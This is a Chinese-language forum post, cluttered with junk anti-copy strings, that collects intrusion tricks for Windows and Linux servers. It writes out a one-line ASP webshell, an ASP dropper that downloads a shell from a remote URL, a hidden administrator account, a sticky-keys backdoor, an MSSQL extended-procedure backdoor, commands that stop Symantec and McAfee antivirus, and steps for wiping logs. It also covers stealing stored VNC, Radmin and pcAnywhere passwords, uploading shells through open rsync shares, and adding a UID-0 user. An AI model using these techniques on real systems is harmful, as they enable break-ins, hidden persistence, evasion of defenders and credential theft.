渗透技巧总结

admin

旁站路径问题
1、读网站配置。
: u# T# y2 v  P5 v- f7 g2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
2 @1 X) m) J5 W        

  N$ S" j/ c* ?) F0 }. \! dMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
  V! o# \1 T* y        WScript.Quit
- a! W: S, D' @) B; K1 DEnd If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
3 o1 Y: M% c* Q, |6 JFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
" {+ A6 o5 [  |7 M- a                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
. _) n( [7 m& o7 n, X' ^0 q         

, R! z9 n! n6 i& s7 x       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
/ z- v& S; S% v5 G$ p- X" f                If Err

3 `+ l4 e& \1 @$ x" L: y<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
9 L+ z! x& [, s
OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
7 s. g8 n0 x8 z6 }     

  g; `+ H& I  o3 W4 D% K* ~                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
/ u" Z) g; j  I) J; x4 e/ \0 o
$ e- _" f! ~4 m         WScript.Echo "ath            : " & VDirObj.Path
" T* m8 |/ G0 W        End If
: R3 ?0 A- I/ s& i2 [9 e0 ANext
复制代码
9 c5 M& \' {! x" F3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
- W# z! S  A# p& LWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
. y. ?' b( {  R( |: Z9 {——————————————————————
- g) i9 _" A1 B2 Q& w. N: E# jphpMyAdmin暴路径办法:
2 U" F( G- D: p$ e$ t6 m* MphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
7 G3 t; _$ D- H/ AphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
& z% `9 i! R, v0 d7 q————————————————————
# a, Q: ]7 \: f3 S  Y0 ~4 j网站可能目录(注：一般是虚拟主机类）
. r; o2 L. u. _. ydata/htdocs.网站/网站/
0 S; g2 W6 L" P$ G————————————————————
& ~: d: H' r$ l2 DCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
* X- F* l0 C/ P, e* y) D9 i" anetsh ras set user administrator deny #禁止administrator拨入该VPN
: L  D# ?1 K4 L( Jnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
- |6 H) c$ A# |, mnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
# V, p! H! p2 a) zEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
/ f9 G9 L. [' @9 T/ J8 d
另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;

vbs:
5 \: g4 C$ ?% N! ?9 LSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
+ p  y; C% ]/ D! r4 M/ P& |z.changePassword "123456",""
4 I& l" L& L' U, E% uz.setting("AccountType")=3
——————————————————
5 B1 k. L3 G* B8 e+ X5 pcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

, C' l; f" O- V6 E: l" \  o, b% i命令如下
5 v- f5 B- ^) B" v! |( o2 Kcacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
* g& E8 w8 _/ M6 \' `5 n. q————————以下配合PR更好————
3389相关
. Y% F' }3 P+ w( e  q" p% j5 na、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
' P4 Q) s: g# R! xb、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
* Z' i# x$ t0 q5 B, _! Q. f" Onet stop "Symantec Settings Manager" /y

5 I+ X+ b# U6 g# Q) F3 W7 r卖咖啡：net stop "McAfee McShield"
0 S2 d: {; e/ \) @————————————————————

5次SHIFT：
- A5 k; o3 f. A/ f6 wcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
, o7 i! k9 W6 I( ^copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
; P, S6 ~7 B' ^! ^+ O) ^! O0 ^! Wcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
0 K' {4 F, D1 {( N  x& e1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
4 A- w. V, C! q' v2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
2 t. t' ^9 Y# O# Q& C8 b9 mMSSQL扩展后门：
0 S$ H1 m7 V( f9 Z7 U4 \USE master;
: g" G7 ?1 T' g) a' nEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
/ m! T3 }' m8 [+ rGRANT exec On xp_helpsystem TO public;
1 }) _; ^+ V% G———————————————————————
$ w6 L3 @/ g' e! W$ _2 V# R* x日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
9 |  O; f# G' F5 m5 h& |: `ex011120.log / ex011121.log / ex011124.log三个文件，
' t4 Y  P* ?0 c7 [, N: Q! n直接删除 ex0111124.log
/ Q1 n% m3 y, L不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
4 C& S' M0 m) `! b& f! d: B用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
0 a! C$ R* i9 |  e0 {8 z
4 P5 w9 ~0 f4 F0 l! w+ tMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
1 z# V/ G5 J; g* VHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
$ q1 F  k. F+ o0 ?8 m找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
! c/ T4 x" P& [% ]8 v5 a7 S防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
5 ~9 n% m2 G: q) O6 D3 x
<%
# X  ?# {0 c3 N0 w* nSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
# v# m6 M" R/ YDim Ads, Retrieval, GetRemoteData
8 v8 i2 |% t6 U4 h, b4 [On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
9 \' Q! E% F8 S7 T' c2 Q) u.Send
GetRemoteData = .ResponseBody
. C& k3 H2 {7 F5 o5 _2 ~End With
! g& v. H5 }9 q- U( c! _6 \, rSet Retrieval = Nothing
3 r! C3 Q' p% g, R3 qSet Ads = Server.CreateObject("Adodb.Stream")
/ r0 q/ Q/ |7 V9 `With Ads
4 y% T5 S7 r  H( s+ t.Type = 1
.Open
.Write GetRemoteData
1 T* I# f  G; |2 A! w2 D4 T$ B.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
& c4 g6 Y# _, U  g.Close()
End With
Set Ads=nothing
* h) O1 P* z. }2 p) tEnd Sub
' |) `( D/ r4 f+ ~
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
2 T. R9 S% ^% T
7 H6 L8 @! t; S; u7 `VNC提权方法:
- t; o8 N# w8 I& M利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
1 u, B. f. Q5 [0 |注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
; J% [4 ^7 R% E4 M( H, [8 g- U% yregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
" i! s* |; t! X% S/ s3 ~HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
) D5 {" Y* \$ Q$ F( B  I然后用HASH版连接。
" D, N3 k5 ~, ^5 D( C( z如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
$ O$ X" T. v2 y4 J# D保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
5 U  g, G" c% Z3 M3 o/ VUsers\Application Data\Symantec\pcAnywhere\文件夹下。
1 D0 @0 }( Q/ X2 H9 s9 l6 F8 h——————————————————————
9 u  q7 I# H$ P) o  ]8 l5 S搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
. V. q" m5 ^* t3 |' UWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
& |7 p% m* @; J来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
' ?; b5 ]# p( n0 R没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
' ^. `4 R9 H# u) O
+ j& U1 e! W4 o$ x9 y1433 SA点构建注入点。
<%
) Q) Z3 O( X( J" y& v' hstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
& p. ^) ]- ?8 CstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
' S: j3 U% I0 \
# V/ w3 u% [0 `9 v";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

0 v. x* l2 w. a3 QstrSQLDBName & ";"
) j9 N, X8 U$ }/ Z+ i' Z" z. Tconn.open strCon
dim rs,strSQL,id
6 u5 \/ h3 |( O! p3 jset rs=server.createobject("ADODB.recordset")
( L& ^# S6 F0 H9 V2 did = request("id")
# s5 m. [) Q' [strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
! q1 U2 y& p' n9 }, f4 srs.close
+ H2 a, C* j/ A5 C* Y' s# k# C! G, K%>
/ C3 k8 S( u* L& T复制代码
******liunx 相关******
9 U. E2 h- _! X* r! m* m' W) a/ }一.ldap渗透技巧
1.cat /etc/nsswitch
1 s# K( C( k# L看看密码登录策略我们可以看到使用了file ldap模式
9 w5 E$ F% }5 K- ~
2.less /etc/ldap.conf
& ?6 p& R! H1 [( Y; Q; j5 }# bbase ou=People,dc=unix-center,dc=net
4 L! w$ D8 ^1 ]+ ?5 ~4 ?找到ou,dc,dc设置

7 L  d$ e; ?& p- f3 `, _" a$ {3.查找管理员信息
0 @& o7 O" y; F匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

, X( Y7 |8 |" K4 Y( V"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
6 r( i* J0 U# l1 o$ Vldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

3 r) V4 e+ |7 N! i5 F"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

7 g6 L: D( b& L
  g* d3 j$ j; j+ k5 i9 q4.查找10条用户记录
1 j" S* a: d& K- m& r3 T9 ?% pldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
/ d" }9 c& G, n. Z
实战:
2 t' d5 d: U5 ?1.cat /etc/nsswitch
4 H- z6 m: k1 A: Y! h* g看看密码登录策略我们可以看到使用了file ldap模式
  d' P7 Y4 U! }
2.less /etc/ldap.conf
' k9 [# N& _* Fbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

  q& ?# `% w' }- I3.查找管理员信息
% J, {: H6 `. i2 k5 _" j匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
& i- t, F. _- s# l7 d; f% r! dldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

( g) \* s% n- l渗透实战:
$ s! i; o- D/ f+ Z) r9 b1.返回所有的属性
' D5 B8 n. ?3 w. Jldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

6 q5 p# A: N( L) Jdn: uid=manager,dc=ruc,dc=edu,dc=cn
1 g- H% `# Z0 l6 B9 }" Xuid: manager
5 ^2 n; h# N$ M8 iobjectClass: inetOrgPerson
# m; b  A' T. o* J" h- g  _objectClass: organizationalPerson
* M! ^+ A+ D8 d. L5 DobjectClass: person
) J& H/ g$ H8 s# A% O3 jobjectClass: top
9 ]6 C: r( ~4 O$ |6 I& a$ A; Vsn: manager
cn: manager
; [* i$ d* |2 x
+ c) s# r1 ]5 `0 Ndn: uid=superadmin,dc=ruc,dc=edu,dc=cn
9 B' s2 e( p! }- @( zuid: superadmin
( [8 }# ?# R! LobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
/ b: E; ~1 i* G3 u3 ~4 \/ FobjectClass: top
sn: superadmin
$ w  ]' f# r$ c- m. jcn: superadmin
- L% |# t# \6 {6 l' L4 Y
1 U& G4 Z3 o  Ldn: uid=admin,dc=ruc,dc=edu,dc=cn
  M5 w# K+ v: n1 |: ~, t% Suid: admin
' ]& Z9 h. |. a) [* F+ GobjectClass: inetOrgPerson
: H- t, e2 V/ _; ~9 GobjectClass: organizationalPerson
objectClass: person
  ^5 |+ p/ J: C0 q' C1 DobjectClass: top
' V( O1 m4 {" j  ]sn: admin
$ ?! M& w7 N+ w9 P! P9 L0 X, D/ Gcn: admin
! \6 o% Q7 `- m: K' `3 O
! ?- Z0 `: c$ z# W4 Q4 G; L: [' gdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
5 j: A+ p" ?1 e, w# yobjectClass: inetOrgPerson
9 ?, `4 `; i% X8 O+ c4 n5 T. Vsn: dcp_anonymous
0 i) x; P$ W* o, s- T: Mcn: dcp_anonymous

* q- R$ W. c) F  \3 S& ]2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
3 ~  {2 J; j" N; b+ A, ~" C3 ^
more
- e/ T: R- T. E( {# o% O3 Cversion: 1
- Y6 Y/ G4 |0 y2 gdn: dc=ruc,dc=edu,dc=cn
dc: ruc
  X: m4 I# h. l/ xobjectClass: domain
- T+ s; F2 F4 a0 f3 P
3.查找
& ~" }7 v/ ?, s* _' Hbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
. o  b7 ^4 Z6 i; P( m7 ^5 R8 Vdn:
' ?. ?1 o2 B: f# n1 E8 XobjectClass: top
, K" ]4 t1 z  r+ ^namingContexts: dc=ruc,dc=edu,dc=cn
) }2 R; l5 e" D3 K$ o7 LsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
8 }6 F1 P5 G8 F* k& b7 F# vsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
- }6 |7 Z2 V1 c2 h) hsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
2 d4 t5 Y7 ~0 D, g0 h  Q' O9 MsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
3 Y/ \8 a4 J, S7 b/ ?, XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
7 e: y  N" b' O/ o$ xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
9 O6 b& ~; t2 v4 i7 J+ xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
4 u3 m6 |1 F, \' n2 ?) l, `* |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
( I3 E* m3 G) [5 z- q) XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
; x# Y  A* @* r& BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
% e8 Y" _) f3 ]$ `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
. P; f* Q6 p  [" P5 R9 |# u4 ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
+ M( ~& |6 V. o/ s% IsupportedExtension: 1.3.6.1.4.1.1466.20037
# |% ]5 t/ s3 B$ G" ]% K0 QsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
5 y; D& _9 I3 @supportedControl: 2.16.840.1.113730.3.4.2
" V: M6 d) `, F0 z6 T5 ?% _  o3 DsupportedControl: 2.16.840.1.113730.3.4.3
7 g: V' K: B6 k, EsupportedControl: 2.16.840.1.113730.3.4.4
' |4 b: s, v6 g" u4 r* ^supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
' {3 [& U/ j& k/ A9 K) u* j) _supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
5 ^& ?( _4 Q" GsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
( o$ t$ ^) }- T' g5 O2 QsupportedControl: 2.16.840.1.113730.3.4.14
7 H& G. F/ E( \# l: m: m9 p6 esupportedControl: 1.3.6.1.4.1.1466.29539.12
2 L1 I1 B$ V( @( AsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
  P1 m5 ]- Y% X* fsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
7 C$ F5 b- C1 x! x! dsupportedLDAPVersion: 2
supportedLDAPVersion: 3
1 W: C  Y% H! k' ^/ z& FvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
4 e$ q! n9 ?, r* XsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
& X* d: z% l! [supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
. }; v( P/ c* w- m/ s3 V4 TsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
/ i- |; y+ a$ F% X" V6 M, P0 N6 }3 W* }supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
2 m: z; o3 [  k6 qsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
- j# I. t) d+ Y8 f9 WsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
) K( e) A; u! A) r) |. FsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
- `5 F% u0 V  gsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
+ `5 q% b5 a0 Q; N: Y2 S  ksupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
$ D+ V0 s, `% t5 }7 ^: ^3 ysupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
7 x* @8 K0 g& JsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
/ V% Z# M7 e* S& J, |" D- KsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
/ b, k9 Z& A2 u% [supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
7 f2 ]. M8 E+ q$ I. l$ ?0 ^supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
; K, F  B; L$ j( t4 W% gsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
4 a6 ]3 B, {5 OsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
/ q' I! l) @1 PsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
/ o, H8 V/ g; C3 L2 ?( ?supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
" l0 r% V8 S% O% w) UsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
4 h! U8 }6 x7 u: T1 jsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
- r7 H/ f. _# n  Q8 _9 @! isupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
/ e; ~/ r8 b3 j# P" U1 H! x- [* n2. NFS渗透技巧
7 p2 |- G) A6 y/ T: p) zshowmount -e ip
列举IP
% L% o5 V4 C; c- ]5 q) M——————
$ ^7 T: w0 q9 Q( [! K* X, x/ F: H7 l3.rsync渗透技巧
1.查看rsync服务器上的列表
) ~' e3 V6 t% k2 qrsync 210.51.X.X::
/ \) H  J9 o( h$ Ofinance
img_finance
! M/ i: {1 K8 O. P% ^' [. T0 Xauto
; Z/ f' r9 I0 kimg_auto
html_cms
img_cms
0 G& ~# O) \0 L4 {" ?$ E( @ent_cms
  j! f1 d$ r% g- R7 ^; t; kent_img
ceshi
res_img
* ]7 D  ^8 N0 v5 v) x# j9 {" Ires_img_c2
$ g% e: Y7 y  M- P/ xchip
chip_c2
ent_icms
% \7 L5 y5 p1 E7 g3 Q3 c7 x( bgames
3 u+ X8 _" ^6 W2 kgamesimg
9 M9 W) i+ h* @3 z$ v0 h7 {; Q3 xmedia
2 l) a( q7 x; D! Dmediaimg
* b# Y& b- y" J, D' }2 w! tfashion
- V4 c5 b$ B5 }4 m" Lres-fashion
res-fo
taobao-home
res-taobao-home
house
1 ~  n7 n* N: c4 p: a( g1 j4 T! N! }res-house
res-home
res-edu
% k' w( G" v: rres-ent
; c9 |7 A' ~5 b$ }& P/ Hres-labs
; \4 [" X" X8 S& A! {4 }0 c& V  Ores-news
res-phtv
res-media
" Q% o( D( Y0 T- fhome
edu
9 B  V, g$ U6 V' t0 Ynews
" u& f; A4 Y. \8 r4 U$ B" p" dres-book

7 {2 J* J( G5 ~+ ~7 T! \看相应的下级目录(注意一定要在目录后面添加上/)
7 F& L/ e' q( z: u( ~+ q

8 E1 v+ \2 x2 u* B4 N  |rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
- ^; a# q& ^- V3 qrsync 210.51.X.X::edu/

4 O/ q+ i6 ?& h5 a& P- [" t2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

, w1 v& `) E. E5 y四.squid渗透技巧
; \$ x, d* d3 }' `0 f- R6 ync -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
* p5 S9 y$ ^& q  }五.SSH端口转发
8 D5 c- A1 P1 ~2 d( k# E+ hssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
+ _9 h' v2 p3 p" H6 d) N9 H5 P
! G. m4 Z& n! o, J0 J六.joomla渗透小技巧
, y* S2 s6 |/ a* k/ f确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
5 L! Y2 j( P, D3 F$ d# F
重新设置密码
index.php?option=com_user&view=reset&layout=confirm
  b8 E8 j% l9 o4 D5 m
3 a/ q: R: ]( r6 m七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

0 @+ g9 W1 O2 {; Z( ?# G八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* l) v% n4 G9 i7 N+ q/ c* [argp@julius ~]$ sysctl vfs.usermount
( u) ~7 w4 }1 i" d9 V* B* vfs.usermount: 1
: `) w7 g6 D: Q* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
- N$ k! b1 c" q4 W8 Y; x5 H5 e. B* T
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
# P$ Y0 F0 E+ |9 H——————————————
